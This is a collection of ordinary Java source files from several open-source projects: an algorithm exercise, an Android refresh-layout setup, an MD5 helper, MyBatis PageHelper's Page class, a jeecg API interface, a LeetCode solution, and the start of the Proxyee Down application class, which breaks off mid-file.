单词翻转。输入一个英文句子,翻转句子中单词的顺序,但单词内字符的顺序不变,句子中单词以空格符隔开。为简单起见,标点符 * 号和普通字母一样处理。例如,输入“I am a student.”,则输出“student. a am I”。 * * 思路: * 先将每个单词反转,然后将整个句子反转; * * @param sentence 输入的句子 * @return 翻转后的句子 */ public static char[] rotateSentence(char[] sentence) { int start = 0; int end = 0; int i = 0; while (i < sentence.length) { // 空格是单词的分隔符 while (i < sentence.length && sentence[i] != ' ') { i++; } end = i - 1; sentence = rotate(sentence, start, end); // 旋转一个单词 start = (++i); } sentence = rotate(sentence, 0, sentence.length - 1); // 翻转整个句子 return sentence; } /*********************************************************************************************/ }
julycoding/The-Art-Of-Programming-By-July-2nd
ebook/code/java/chapter1/1.1:左旋转字符串.java
43
package com.scwang.refreshlayout; import android.app.Application; import android.content.Context; import androidx.annotation.NonNull; import androidx.appcompat.app.AppCompatDelegate; import com.scwang.refreshlayout.util.DynamicTimeFormat; import com.scwang.smartrefresh.layout.SmartRefreshLayout; import com.scwang.smartrefresh.layout.api.DefaultRefreshFooterCreator; import com.scwang.smartrefresh.layout.api.DefaultRefreshHeaderCreator; import com.scwang.smartrefresh.layout.api.DefaultRefreshInitializer; import com.scwang.smartrefresh.layout.api.RefreshFooter; import com.scwang.smartrefresh.layout.api.RefreshHeader; import com.scwang.smartrefresh.layout.api.RefreshLayout; import com.scwang.smartrefresh.layout.footer.ClassicsFooter; import com.scwang.smartrefresh.layout.header.ClassicsHeader; /** * * Created by scwang on 2017/6/11. */ public class App extends Application { static { //启用矢量图兼容 AppCompatDelegate.setCompatVectorFromResourcesEnabled(true); //设置全局默认配置(优先级最低,会被其他设置覆盖) SmartRefreshLayout.setDefaultRefreshInitializer(new DefaultRefreshInitializer() { @Override public void initialize(@NonNull Context context, @NonNull RefreshLayout layout) { //全局设置(优先级最低) layout.setEnableAutoLoadMore(true); layout.setEnableOverScrollDrag(false); layout.setEnableOverScrollBounce(true); layout.setEnableLoadMoreWhenContentNotFull(true); layout.setEnableScrollContentWhenRefreshed(true); layout.setPrimaryColorsId(R.color.colorPrimary, android.R.color.white); layout.setFooterMaxDragRate(4.0F); layout.setFooterHeight(45); } }); SmartRefreshLayout.setDefaultRefreshHeaderCreator(new DefaultRefreshHeaderCreator() { @NonNull @Override public RefreshHeader createRefreshHeader(@NonNull Context context, @NonNull RefreshLayout layout) { //全局设置主题颜色(优先级第二低,可以覆盖 DefaultRefreshInitializer 的配置,与下面的ClassicsHeader绑定) layout.setEnableHeaderTranslationContent(true); return new ClassicsHeader(context).setTimeFormat(new DynamicTimeFormat("更新于 %s")); } }); SmartRefreshLayout.setDefaultRefreshFooterCreator(new DefaultRefreshFooterCreator() { @NonNull @Override public RefreshFooter createRefreshFooter(@NonNull Context context, @NonNull RefreshLayout layout) { return new ClassicsFooter(context); } }); } @Override public void onCreate() { super.onCreate(); } }
scwang90/SmartRefreshLayout
app/src/main/java/com/scwang/refreshlayout/App.java
44
package com.zheng.common.util; import java.security.MessageDigest; import java.util.UUID; /** * Created by shuzheng on 2017/1/19. */ public class MD5Util { public final static String md5(String content) { //用于加密的字符 char[] md5String = {'0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F'}; try { //使用平台的默认字符集将此 String 编码为 byte序列,并将结果存储到一个新的 byte数组中 byte[] btInput = content.getBytes(); //信息摘要是安全的单向哈希函数,它接收任意大小的数据,并输出固定长度的哈希值。 MessageDigest mdInst = MessageDigest.getInstance("MD5"); //MessageDigest对象通过使用 update方法处理数据, 使用指定的byte数组更新摘要 mdInst.update(btInput); // 摘要更新之后,通过调用digest()执行哈希计算,获得密文 byte[] md = mdInst.digest(); // 把密文转换成十六进制的字符串形式 int j = md.length; char[] str = new char[j * 2]; int k = 0; for (int i = 0; i < j; i++) { // i = 0 byte byte0 = md[i]; //95 str[k++] = md5String[byte0 >>> 4 & 0xf]; // 5 str[k++] = md5String[byte0 & 0xf]; // F } //返回经过加密后的字符串 return new String(str); } catch (Exception e) { return null; } } }
shuzheng/zheng
zheng-common/src/main/java/com/zheng/common/util/MD5Util.java
45
/* * The MIT License (MIT) * * Copyright (c) 2014-2023 abel533@gmail.com * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.github.pagehelper; import com.github.pagehelper.util.SqlSafeUtil; import com.github.pagehelper.util.StackTraceUtil; import org.apache.ibatis.logging.Log; import org.apache.ibatis.logging.LogFactory; import java.io.Closeable; import java.util.ArrayList; import java.util.List; /** * Mybatis - 分页对象 * * @author liuzh/abel533/isea533 * @version 3.6.0 * 项目地址 : http://git.oschina.net/free/Mybatis_PageHelper */ public class Page<E> extends ArrayList<E> implements Closeable { private static final long serialVersionUID = 1L; private static final Log log = LogFactory.getLog(Page.class); /** * 记录当前堆栈,可查找到page在何处创建 * 需开启pagehelper.debug */ private final String stackTrace = PageInterceptor.isDebug() ? StackTraceUtil.current() : null; /** * 页码,从1开始 */ private int pageNum; /** * 页面大小 */ private int pageSize; /** * 起始行 */ private long startRow; /** * 末行 */ private long endRow; /** * 总数 */ private long total; /** * 总页数 */ private int pages; /** * 包含count查询 */ private boolean count = true; /** * 分页合理化 */ private Boolean reasonable; /** * 当设置为true的时候,如果pagesize设置为0(或RowBounds的limit=0),就不执行分页,返回全部结果 */ private Boolean pageSizeZero; /** * 进行count查询的列名 */ private String countColumn; /** * 排序 */ private String orderBy; /** * 只增加排序 */ private boolean orderByOnly; /** * sql拦截处理 */ private BoundSqlInterceptor boundSqlInterceptor; private transient BoundSqlInterceptor.Chain chain; /** * 分页实现类,可以使用 {@link com.github.pagehelper.page.PageAutoDialect} 类中注册的别名,例如 "mysql", "oracle" */ private String dialectClass; /** * 转换count查询时保留查询的 order by 排序 */ private Boolean keepOrderBy; /** * 转换count查询时保留子查询的 order by 排序 */ private Boolean keepSubSelectOrderBy; /** * 异步count查询 */ private Boolean asyncCount; public Page() { super(); } public Page(int pageNum, int pageSize) { this(pageNum, pageSize, true, null); } public Page(int pageNum, int pageSize, boolean count) { this(pageNum, pageSize, count, null); } private Page(int pageNum, int pageSize, boolean count, Boolean reasonable) { super(0); if (pageNum == 1 && pageSize == Integer.MAX_VALUE) { pageSizeZero = true; pageSize = 0; } this.pageNum = pageNum; this.pageSize = pageSize; this.count = count; calculateStartAndEndRow(); setReasonable(reasonable); } /** * int[] rowBounds * 0 : offset * 1 : limit */ public Page(int[] rowBounds, boolean count) { super(0); if (rowBounds[0] == 0 && rowBounds[1] == Integer.MAX_VALUE) { pageSizeZero = true; this.pageSize = 0; this.pageNum = 1; } else { this.pageSize = rowBounds[1]; this.pageNum = rowBounds[1] != 0 ? (int) (Math.ceil(((double) rowBounds[0] + rowBounds[1]) / rowBounds[1])) : 0; } this.startRow = rowBounds[0]; this.count = count; this.endRow = this.startRow + rowBounds[1]; } public String getStackTrace() { return stackTrace; } public List<E> getResult() { return this; } public int getPages() { return pages; } public Page<E> setPages(int pages) { this.pages = pages; return this; } public long getEndRow() { return endRow; } public Page<E> setEndRow(long endRow) { this.endRow = endRow; return this; } public int getPageNum() { return pageNum; } public Page<E> setPageNum(int pageNum) { //分页合理化,针对不合理的页码自动处理 this.pageNum = ((reasonable != null && reasonable) && pageNum <= 0) ? 1 : pageNum; return this; } public int getPageSize() { return pageSize; } public Page<E> setPageSize(int pageSize) { this.pageSize = pageSize; return this; } public long getStartRow() { return startRow; } public Page<E> setStartRow(long startRow) { this.startRow = startRow; return this; } public long getTotal() { return total; } public void setTotal(long total) { this.total = total; if (total == -1) { pages = 1; return; } if (pageSize > 0) { pages = (int) (total / pageSize + ((total % pageSize == 0) ? 0 : 1)); } else { pages = 0; } //分页合理化,针对不合理的页码自动处理 if ((reasonable != null && reasonable) && pageNum > pages) { if (pages != 0) { pageNum = pages; } calculateStartAndEndRow(); } } public Boolean getReasonable() { return reasonable; } public Page<E> setReasonable(Boolean reasonable) { if (reasonable == null) { return this; } this.reasonable = reasonable; //分页合理化,针对不合理的页码自动处理 if (this.reasonable && this.pageNum <= 0) { this.pageNum = 1; calculateStartAndEndRow(); } return this; } public Boolean getPageSizeZero() { return pageSizeZero; } public Page<E> setPageSizeZero(Boolean pageSizeZero) { if (this.pageSizeZero == null && pageSizeZero != null) { this.pageSizeZero = pageSizeZero; } return this; } public String getOrderBy() { return orderBy; } /** * 设置排序字段,增加 SQL 注入校验,如果需要在 order by 使用函数,可以使用 {@link #setUnsafeOrderBy(String)} 方法 * * @param orderBy 排序字段 */ public <E> Page<E> setOrderBy(String orderBy) { if (SqlSafeUtil.check(orderBy)) { throw new PageException("order by [" + orderBy + "] has a risk of SQL injection, " + "if you want to avoid SQL injection verification, you can call Page.setUnsafeOrderBy"); } this.orderBy = orderBy; return (Page<E>) this; } /** * 不安全的设置排序方法,如果从前端接收参数,请自行做好注入校验。 * <p> * 请不要故意使用该方法注入然后提交漏洞!!! * * @param orderBy 排序字段 */ public <E> Page<E> setUnsafeOrderBy(String orderBy) { this.orderBy = orderBy; return (Page<E>) this; } public boolean isOrderByOnly() { return orderByOnly; } public void setOrderByOnly(boolean orderByOnly) { this.orderByOnly = orderByOnly; } public String getDialectClass() { return dialectClass; } public void setDialectClass(String dialectClass) { this.dialectClass = dialectClass; } public Boolean getKeepOrderBy() { return keepOrderBy; } public Page<E> setKeepOrderBy(Boolean keepOrderBy) { this.keepOrderBy = keepOrderBy; return this; } public Boolean getKeepSubSelectOrderBy() { return keepSubSelectOrderBy; } public void setKeepSubSelectOrderBy(Boolean keepSubSelectOrderBy) { this.keepSubSelectOrderBy = keepSubSelectOrderBy; } public Boolean getAsyncCount() { return asyncCount; } public void setAsyncCount(Boolean asyncCount) { this.asyncCount = asyncCount; } /** * 指定使用的分页实现,如果自己使用的很频繁,建议自己增加一层封装再使用 * * @param dialect 分页实现类,可以使用 {@link com.github.pagehelper.page.PageAutoDialect} 类中注册的别名,例如 "mysql", "oracle" * @return */ public Page<E> using(String dialect) { this.dialectClass = dialect; return this; } /** * 计算起止行号 */ private void calculateStartAndEndRow() { this.startRow = this.pageNum > 0 ? (this.pageNum - 1) * this.pageSize : 0; this.endRow = this.startRow + this.pageSize * (this.pageNum > 0 ? 1 : 0); } public boolean isCount() { return this.count; } public Page<E> setCount(boolean count) { this.count = count; return this; } /** * 设置页码 * * @param pageNum * @return */ public Page<E> pageNum(int pageNum) { //分页合理化,针对不合理的页码自动处理 this.pageNum = ((reasonable != null && reasonable) && pageNum <= 0) ? 1 : pageNum; return this; } /** * 设置页面大小 * * @param pageSize * @return */ public Page<E> pageSize(int pageSize) { this.pageSize = pageSize; calculateStartAndEndRow(); return this; } /** * 是否执行count查询 * * @param count * @return */ public Page<E> count(Boolean count) { this.count = count; return this; } /** * 设置合理化 * * @param reasonable * @return */ public Page<E> reasonable(Boolean reasonable) { setReasonable(reasonable); return this; } /** * 当设置为true的时候,如果pagesize设置为0(或RowBounds的limit=0),就不执行分页,返回全部结果 * * @param pageSizeZero * @return */ public Page<E> pageSizeZero(Boolean pageSizeZero) { setPageSizeZero(pageSizeZero); return this; } /** * 设置 BoundSql 拦截器 * * @param boundSqlInterceptor * @return */ public Page<E> boundSqlInterceptor(BoundSqlInterceptor boundSqlInterceptor) { setBoundSqlInterceptor(boundSqlInterceptor); return this; } /** * 指定 count 查询列 * * @param columnName * @return */ public Page<E> countColumn(String columnName) { setCountColumn(columnName); return this; } /** * 转换count查询时保留查询的 order by 排序 * * @param keepOrderBy * @return */ public Page<E> keepOrderBy(boolean keepOrderBy) { this.keepOrderBy = keepOrderBy; return this; } public boolean keepOrderBy() { return this.keepOrderBy != null && this.keepOrderBy; } /** * 转换count查询时保留子查询的 order by 排序 * * @param keepSubSelectOrderBy * @return */ public Page<E> keepSubSelectOrderBy(boolean keepSubSelectOrderBy) { this.keepSubSelectOrderBy = keepSubSelectOrderBy; return this; } public boolean keepSubSelectOrderBy() { return this.keepSubSelectOrderBy != null && this.keepSubSelectOrderBy; } /** * 异步count查询 * * @param asyncCount * @return */ public Page<E> asyncCount(boolean asyncCount) { this.asyncCount = asyncCount; return this; } /** * 使用异步count查询 * * @return */ public Page<E> enableAsyncCount() { return asyncCount(true); } /** * 不使用异步count查询 * * @return */ public Page<E> disableAsyncCount() { return asyncCount(false); } public boolean asyncCount() { return this.asyncCount != null && this.asyncCount; } public PageInfo<E> toPageInfo() { return new PageInfo<E>(this); } /** * 数据对象转换 * * @param function * @param <T> * @return */ public <T> PageInfo<T> toPageInfo(Function<E, T> function) { List<T> list = new ArrayList<T>(this.size()); for (E e : this) { list.add(function.apply(e)); } PageInfo<T> pageInfo = new PageInfo<T>(list); pageInfo.setTotal(this.getTotal()); pageInfo.setPageNum(this.getPageNum()); pageInfo.setPageSize(this.getPageSize()); pageInfo.setPages(this.getPages()); pageInfo.setStartRow(this.getStartRow()); pageInfo.setEndRow(this.getEndRow()); pageInfo.calcByNavigatePages(PageInfo.DEFAULT_NAVIGATE_PAGES); return pageInfo; } public PageSerializable<E> toPageSerializable() { return new PageSerializable<E>(this); } /** * 数据对象转换 * * @param function * @param <T> * @return */ public <T> PageSerializable<T> toPageSerializable(Function<E, T> function) { List<T> list = new ArrayList<T>(this.size()); for (E e : this) { list.add(function.apply(e)); } PageSerializable<T> pageSerializable = new PageSerializable<T>(list); pageSerializable.setTotal(this.getTotal()); return pageSerializable; } public <E> Page<E> doSelectPage(ISelect select) { select.doSelect(); return (Page<E>) this; } public <E> PageInfo<E> doSelectPageInfo(ISelect select) { select.doSelect(); return (PageInfo<E>) this.toPageInfo(); } public <E> PageSerializable<E> doSelectPageSerializable(ISelect select) { select.doSelect(); return (PageSerializable<E>) this.toPageSerializable(); } public long doCount(ISelect select) { this.pageSizeZero = true; this.pageSize = 0; select.doSelect(); return this.total; } public String getCountColumn() { return countColumn; } public void setCountColumn(String countColumn) { if (!"0".equals(countColumn) && !"*".equals(countColumn) && SqlSafeUtil.check(countColumn)) { throw new PageException("count(" + countColumn + ") has a risk of SQL injection"); } this.countColumn = countColumn; } public BoundSqlInterceptor getBoundSqlInterceptor() { return boundSqlInterceptor; } public void setBoundSqlInterceptor(BoundSqlInterceptor boundSqlInterceptor) { this.boundSqlInterceptor = boundSqlInterceptor; } BoundSqlInterceptor.Chain getChain() { return chain; } void setChain(BoundSqlInterceptor.Chain chain) { this.chain = chain; } @Override public String toString() { return "Page{" + "count=" + count + ", pageNum=" + pageNum + ", pageSize=" + pageSize + ", startRow=" + startRow + ", endRow=" + endRow + ", total=" + total + ", pages=" + pages + ", reasonable=" + reasonable + ", pageSizeZero=" + pageSizeZero + '}' + super.toString(); } @Override public void close() { PageHelper.clearPage(); } /** * 兼容低版本 Java 7- */ public interface Function<E, T> { /** * Applies this function to the given argument. * * @param t the function argument * @return the function result */ T apply(E t); } }
pagehelper/Mybatis-PageHelper
src/main/java/com/github/pagehelper/Page.java
46
package org.jeecg.common.api; import org.jeecg.common.system.vo.*; import java.util.List; import java.util.Map; import java.util.Set; /** * 通用api * @author: jeecg-boot */ public interface CommonAPI { /** * 1查询用户角色信息 * @param username * @return */ Set<String> queryUserRoles(String username); /** * 2查询用户权限信息 * @param userId * @return */ Set<String> queryUserAuths(String userId); /** * 3根据 id 查询数据库中存储的 DynamicDataSourceModel * * @param dbSourceId * @return */ DynamicDataSourceModel getDynamicDbSourceById(String dbSourceId); /** * 4根据 code 查询数据库中存储的 DynamicDataSourceModel * * @param dbSourceCode * @return */ DynamicDataSourceModel getDynamicDbSourceByCode(String dbSourceCode); /** * 5根据用户账号查询用户信息 * @param username * @return */ public LoginUser getUserByName(String username); /** * 6字典表的 翻译 * @param table * @param text * @param code * @param key * @return */ String translateDictFromTable(String table, String text, String code, String key); /** * 7普通字典的翻译 * @param code * @param key * @return */ String translateDict(String code, String key); /** * 8查询数据权限 * @param component 组件 * @param username 用户名 * @param requestPath 前段请求地址 * @return */ List<SysPermissionDataRuleModel> queryPermissionDataRule(String component, String requestPath, String username); /** * 9查询用户信息 * @param username * @return */ SysUserCacheInfo getCacheUser(String username); /** * 10获取数据字典 * @param code * @return */ public List<DictModel> queryDictItemsByCode(String code); /** * 获取有效的数据字典项 * @param code * @return */ public List<DictModel> queryEnableDictItemsByCode(String code); /** * 13获取表数据字典 * @param tableFilterSql * @param text * @param code * @return */ List<DictModel> queryTableDictItemsByCode(String tableFilterSql, String text, String code); /** * 14 普通字典的翻译,根据多个dictCode和多条数据,多个以逗号分割 * @param dictCodes 例如:user_status,sex * @param keys 例如:1,2,0 * @return */ Map<String, List<DictModel>> translateManyDict(String dictCodes, String keys); //update-begin---author:chenrui ---date:20231221 for:[issues/#5643]解决分布式下表字典跨库无法查询问题------------ /** * 15 字典表的 翻译,可批量 * @param table * @param text * @param code * @param keys 多个用逗号分割 * @param dataSource 数据源 * @return */ List<DictModel> translateDictFromTableByKeys(String table, String text, String code, String keys, String dataSource); //update-end---author:chenrui ---date:20231221 for:[issues/#5643]解决分布式下表字典跨库无法查询问题------------ }
jeecgboot/jeecg-boot
jeecg-boot-base-core/src/main/java/org/jeecg/common/api/CommonAPI.java
47
E 第一步: 生题型, 理解题意需要时间: 从字面和画图而言, 就是定住房子一个个过,房子左右的distance需要足够达到heater. 目标是招尽可能小的radius, 所以house和heater紧贴着是必要的. 在for loop里面定下house,把heater当作一个区间移动, 达到的第一个合适区间,这就是当下最小的理想radius,取这个值跟既定radius作比较。 比较之后,继续移动house,再试着移动heater区间去match。 第二步: Binary Search 注意! 题目没有说given array是否sort, 我们必须sort才能够区间移动或者binary search. TODO: http://www.cnblogs.com/grandyang/p/6181626.html ``` /* Winter is coming! Your first job during the contest is to design a standard heater with fixed warm radius to warm all the houses. Now, you are given positions of houses and heaters on a horizontal line, find out minimum radius of heaters so that all houses could be covered by those heaters. So, your input will be the positions of houses and heaters seperately, and your expected output will be the minimum radius standard of heaters. Note: Numbers of houses and heaters you are given are non-negative and will not exceed 25000. Positions of houses and heaters you are given are non-negative and will not exceed 10^9. As long as a house is in the heaters' warm radius range, it can be warmed. All the heaters follow your radius standard and the warm radius will the same. Example 1: Input: [1,2,3],[2] Output: 1 Explanation: The only heater was placed in the position 2, and if we use the radius 1 standard, then all the houses can be warmed. Example 2: Input: [1,2,3,4],[1,4] Output: 1 Explanation: The two heater was placed in the position 1 and 4. We need to use radius 1 standard, then all the houses can be warmed. */ /* Thoughts: When a house sits in between heaters, the diff between left-heater-to-house && house-to-right-heater should at least equal. Also, because we are finding the smallest sutable radius, we'll always compare heater adjacent to the house. Therefore, we can loop over house, then move heater position to find correct covering. Follow the above rule: 1. Loop over houses. 2. Start radius = 0, and find the minmimum feasible (when comparing, pick the larger distance becuase it'll cover both side of house) 3. Calculate abs value of distance, because house can be ahead of 1st heater, in middle of two heaters or after last heater. 4. Keep while loop for each heater, until the house-to-right-heater distance is at least equal to the left-heater-to-house. */ class Solution { public int findRadius(int[] houses, int[] heaters) { int heaterIndex = 0; int radius = 0; int heatersLength = heaters.length; Arrays.sort(houses); Arrays.sort(heaters); for (int i = 0; i < houses.length; i++) { int housePos = houses[i]; // Keeps looping until this position status: leftHeaterPos - housePos - rightHeaterPos, and the diff of two direction is at least equal // when equal, heaterIndex+1 beacuse it will be used to calculate the minimum feasible distance right after while (heaterIndex < heatersLength - 1 && Math.abs(heaters[heaterIndex + 1] - housePos) <= Math.abs(heaters[heaterIndex] - housePos)) { heaterIndex++; } // heaterPos will be exactly the one after current housePos, so use this as the radius radius = Math.max(radius, Math.abs(heaters[heaterIndex] - housePos)); } return radius; } } ```
awangdev/leet-code
Java/Heaters.java
49
package org.pdown.gui; import java.awt.AWTException; import java.awt.Desktop; import java.awt.Dimension; import java.awt.Image; import java.awt.MenuItem; import java.awt.PopupMenu; import java.awt.SystemTray; import java.awt.Toolkit; import java.awt.TrayIcon; import java.io.File; import java.io.IOException; import java.lang.reflect.Method; import java.net.JarURLConnection; import java.net.URI; import java.net.URL; import java.net.URLConnection; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; import java.nio.file.attribute.PosixFilePermission; import java.nio.file.attribute.PosixFilePermissions; import java.util.Set; import java.util.concurrent.CountDownLatch; import javafx.application.Application; import javafx.application.Platform; import javafx.geometry.Rectangle2D; import javafx.scene.Scene; import javafx.stage.Screen; import javafx.stage.Stage; import javax.swing.JOptionPane; import org.pdown.core.util.OsUtil; import org.pdown.gui.com.Browser; import org.pdown.gui.com.Components; import org.pdown.gui.content.PDownConfigContent; import org.pdown.gui.extension.ExtensionContent; import org.pdown.gui.extension.mitm.util.ExtensionProxyUtil; import org.pdown.gui.http.EmbedHttpServer; import org.pdown.gui.http.controller.ApiController; import org.pdown.gui.http.controller.NativeController; import org.pdown.gui.http.controller.PacController; import org.pdown.gui.rest.HttpDownAppCallback; import org.pdown.gui.util.AppUtil; import org.pdown.gui.util.ConfigUtil; import org.pdown.gui.util.ExecUtil; import org.pdown.gui.util.I18nUtil; import org.pdown.rest.DownRestServer; import org.pdown.rest.content.ConfigContent; import org.pdown.rest.content.RestWebServerFactoryCustomizer; import org.pdown.rest.controller.HttpDownRestCallback; import org.pdown.rest.entity.ServerConfigInfo; import org.pdown.rest.util.PathUtil; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.boot.builder.SpringApplicationBuilder; import org.springframework.util.StringUtils; public class DownApplication extends Application { private static final Logger LOGGER = LoggerFactory.getLogger(DownApplication.class); private static final String OS = OsUtil.isWindows() ? "windows" : (OsUtil.isMac() ? "mac" : "linux"); private static final String ICON_PATH = OS + (OsUtil.isWindowsXP() ? "/logo_xp.png" : "/logo.png"); public static DownApplication INSTANCE; private Stage stage; private Browser browser; private TrayIcon trayIcon; private CountDownLatch countDownLatch; //前端页面http服务器端口 public int FRONT_PORT; //native api服务器端口 public int API_PORT; //代理服务器端口 public int PROXY_PORT; @Override public void start(Stage primaryStage) throws Exception { INSTANCE = this; stage = primaryStage; Platform.setImplicitExit(false); //load config initConfig(); //load pdown-rest initRest(); initMacMITMTool(); initEmbedHttpServer(); initExtension(); initTray(); //xp不支持webview if (!OsUtil.isWindowsXP()) { initWindow(); initBrowser(); } loadUri(null, true, true); } private void initConfig() throws IOException { PDownConfigContent.getInstance().load(); //取前端http server端口 FRONT_PORT = ConfigUtil.getInt("front.port"); //取native api http server端口 API_PORT = ConfigUtil.getInt("api.port"); if ("prd".equals(ConfigUtil.getString("spring.profiles.active"))) { try { //端口被时占用随机分配一个端口 API_PORT = OsUtil.getFreePort(API_PORT); if (FRONT_PORT == -1) { FRONT_PORT = API_PORT; } } catch (IOException e) { LOGGER.error("initConfig error", e); alertAndExit(I18nUtil.getMessage("gui.alert.startError", e.getMessage())); } } } private void initRest() { //init rest server config HttpDownRestCallback.setCallback(new HttpDownAppCallback()); RestWebServerFactoryCustomizer.init(null); ServerConfigInfo serverConfigInfo = ConfigContent.getInstance().get(); serverConfigInfo.setPort(REST_PORT); if (StringUtils.isEmpty(serverConfigInfo.getFilePath())) { serverConfigInfo.setFilePath(System.getProperty("user.home") + File.separator + "Downloads"); } new SpringApplicationBuilder(DownRestServer.class).headless(false).build().run(); } //读取扩展信息和启动代理服务器 private void initExtension() { Runtime.getRuntime().addShutdownHook(new Thread(() -> { //退出时把系统代理还原 if (PDownConfigContent.getInstance().get().getProxyMode() == 1) { try { ExtensionProxyUtil.disabledProxy(); } catch (IOException e) { } } })); new Thread(() -> { //检查是否安装了证书 try { if (AppUtil.checkIsInstalledCert()) { AppUtil.startProxyServer(); } } catch (Exception e) { LOGGER.error("Init extension error", e); } }).start(); //根据扩展生成pac文件并切换系统代理 try { ExtensionContent.load(); AppUtil.refreshPAC(); } catch (IOException e) { LOGGER.error("Extension content load error", e); } } public static int macToolPort; //加载mac tool private void initMacMITMTool() { if (OsUtil.isMac()) { new Thread(() -> { String toolUri = "mac/mitm-tool.bin"; Path toolPath = Paths.get(PathUtil.ROOT_PATH + File.separator + toolUri); try { if (!toolPath.toFile().exists()) { ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); URL url = classLoader.getResource(toolUri); URLConnection connection = url.openConnection(); if (connection instanceof JarURLConnection) { if (!toolPath.getParent().toFile().exists()) { Files.createDirectories(toolPath.getParent()); } Files.copy(classLoader.getResourceAsStream(toolUri), toolPath); Set<PosixFilePermission> perms = PosixFilePermissions.fromString("rwxrw-rw-"); Files.setPosixFilePermissions(toolPath, perms); } } //取一个空闲端口来运行mac tool macToolPort = OsUtil.getFreePort(); //程序退出监听 Runtime.getRuntime().addShutdownHook(new Thread(() -> { try { ExecUtil.httpGet("http://127.0.0.1:" + macToolPort + "/quit"); } catch (IOException e) { } })); ExecUtil.execBlockWithAdmin("'" + toolPath.toFile().getPath() + "' " + macToolPort); } catch (Exception e) { LOGGER.error("initMacMITMTool error", e); alertAndExit("Init mitm-tool error:" + e.getMessage()); } System.exit(0); }).start(); } } private void initEmbedHttpServer() { countDownLatch = new CountDownLatch(1); new Thread(() -> { EmbedHttpServer embedHttpServer = new EmbedHttpServer(API_PORT); embedHttpServer.addController(new NativeController()); embedHttpServer.addController(new ApiController()); embedHttpServer.addController(new PacController()); embedHttpServer.start(future -> countDownLatch.countDown()); }).start(); } //加载托盘 private void initTray() throws AWTException { if (SystemTray.isSupported()) { // 获得系统托盘对象 SystemTray systemTray = SystemTray.getSystemTray(); // 获取图片所在的URL URL url = Thread.currentThread().getContextClassLoader().getResource(ICON_PATH); // 为系统托盘加托盘图标 Image trayImage = Toolkit.getDefaultToolkit().getImage(url); Dimension trayIconSize = systemTray.getTrayIconSize(); trayImage = trayImage.getScaledInstance(trayIconSize.width, trayIconSize.height, Image.SCALE_SMOOTH); trayIcon = new TrayIcon(trayImage, "Proxyee Down"); systemTray.add(trayIcon); loadPopupMenu(); //双击事件监听 trayIcon.addActionListener(event -> Platform.runLater(() -> loadUri(null, true))); } } public void loadPopupMenu() { //添加右键菜单 PopupMenu popupMenu = new PopupMenu(); MenuItem showItem = new MenuItem(I18nUtil.getMessage("gui.tray.show")); showItem.addActionListener(event -> Platform.runLater(() -> loadUri("", true))); MenuItem setItem = new MenuItem(I18nUtil.getMessage("gui.tray.set")); setItem.addActionListener(event -> loadUri("/#/setting", true)); MenuItem aboutItem = new MenuItem(I18nUtil.getMessage("gui.tray.about")); aboutItem.addActionListener(event -> loadUri("/#/about", true)); MenuItem supportItem = new MenuItem(I18nUtil.getMessage("gui.tray.support")); supportItem.addActionListener(event -> loadUri("/#/support", true)); MenuItem closeItem = new MenuItem(I18nUtil.getMessage("gui.tray.exit")); closeItem.addActionListener(event -> { Platform.exit(); System.exit(0); }); popupMenu.add(showItem); popupMenu.addSeparator(); popupMenu.add(setItem); popupMenu.add(aboutItem); popupMenu.add(supportItem); popupMenu.addSeparator(); popupMenu.add(closeItem); trayIcon.setPopupMenu(popupMenu); } public void refreshBrowserMenu() { browser.refreshText(); } //加载webView private void initBrowser() throws AWTException { browser = new Browser(); stage.setScene(new Scene(browser)); try { countDownLatch.await(); } catch (InterruptedException e) { } } //加载gui窗口 private void initWindow() { stage.setTitle("Proxyee Down"); Rectangle2D bounds = Screen.getPrimary().getVisualBounds(); int width = 1024; int height = 576; stage.setX((bounds.getWidth() - width) / 2); stage.setY((bounds.getHeight() - height) / 2); stage.setMinWidth(width); stage.setMinHeight(height); stage.getIcons().add(new javafx.scene.image.Image(Thread.currentThread().getContextClassLoader().getResourceAsStream(ICON_PATH))); stage.setResizable(true); //关闭窗口监听 stage.setOnCloseRequest(event -> { event.consume(); stage.hide(); }); } /** * 显示gui窗口 * * @param isTray 是否从托盘按钮打开的(windows下如果非托盘按钮调用窗口可能不会置顶) */ public void show(boolean isTray) { //是否需要调用窗口置顶 boolean isFront = false; if (stage.isShowing()) { if (stage.isIconified()) { stage.setIconified(false); } else { isFront = true; stage.toFront(); } } else { isFront = true; stage.show(); stage.toFront(); } //避免有时候窗口不弹出 if (isFront && !isTray && OsUtil.isWindows()) { stage.setIconified(true); stage.setIconified(false); } } public void loadUri(String uri, boolean isTray, boolean isStartup) { String url = "http://127.0.0.1:" + FRONT_PORT + (uri == null ? "" : uri); boolean autoOpen = PDownConfigContent.getInstance().get().isAutoOpen(); if (OsUtil.isWindowsXP() || PDownConfigContent.getInstance().get().getUiMode() == 0) { if (!isStartup || autoOpen) { try { Desktop.getDesktop().browse(URI.create(url)); } catch (IOException e) { LOGGER.error("Open browse error", e); } } } else { Platform.runLater(() -> { if (uri != null || !browser.isLoad()) { browser.load(url); } if (!isStartup || autoOpen) { show(isTray); } }); } } public void loadUri(String uri, boolean isTray) { loadUri(uri, isTray, false); } //提示并退出程序 private void alertAndExit(String msg) { Platform.runLater(() -> { Components.alert(msg); System.exit(0); }); } static { //设置日志存放路径 System.setProperty("ROOT_PATH", PathUtil.ROOT_PATH); //webView允许跨域访问 